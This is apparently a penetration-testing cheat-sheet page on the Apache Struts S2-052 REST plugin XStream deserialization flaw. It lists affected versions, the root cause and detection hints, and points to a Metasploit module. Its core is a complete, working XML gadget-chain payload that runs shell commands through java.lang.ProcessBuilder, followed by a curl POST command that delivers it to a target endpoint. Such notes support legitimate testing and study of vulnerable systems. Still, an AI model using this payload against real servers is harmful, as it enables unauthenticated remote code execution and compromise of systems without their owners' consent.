Skip to main content

S2-052 Remote Code Execution

Affected Versions​

S2-052 affects the following Struts versions:

  • 2.1.2 – 2.3.33
  • 2.5 – 2.5.12

Root Cause​

  • Struts REST plugin uses XStream for XML deserialization
  • Proper class filtering was missing
  • Attacker-controlled XML is deserialized into Java objects
  • Results in arbitrary object creation → code execution

Filtering existed elsewhere in Struts, but not in the REST plugin

Vulnerability Type​

  • Insecure Deserialization
  • XML-based payload
  • No authentication required
  • Requires REST plugin enabled

Attack Surface​

  • Endpoints accepting:
    • application/xml
    • application/json (converted internally)
  • Common REST URLs:
    • /orders
    • /users
    • /api/*
  • Usually triggered via POST request

Exploitation​

  1. Send malicious XML payload
  2. XML is deserialized by XStream
  3. Malicious Java object is instantiated
  4. Command is executed on the server

Payload​

  • Uses XStream gadget chains
  • Often leverages:
    • java.lang.ProcessBuilder
    • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
success

Metasploit Framework has a module for it called exploit/multi/http/struts2_rest_xstream.

success

Python PoC script can be found here.

Manual Method​

  1. Save the following file:
info

Make sure to modify the command payload.

payload.xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string>zc00l</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>p4WVJLW2H</name>
</filter>
<next class="string">6Fcg22xLlaHiIK8</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
  1. Then run the following command:
❯ curl -X POST http://rezydev.xyz/orders.xhtml -H 'Content-Type: application/xml' --data @payload.xml

Detection Strategy​

  • Identify Struts + REST plugin
  • Send malformed or malicious XML
  • Observe:
    • Command output
    • Error messages
    • Delayed responses (sleep payload)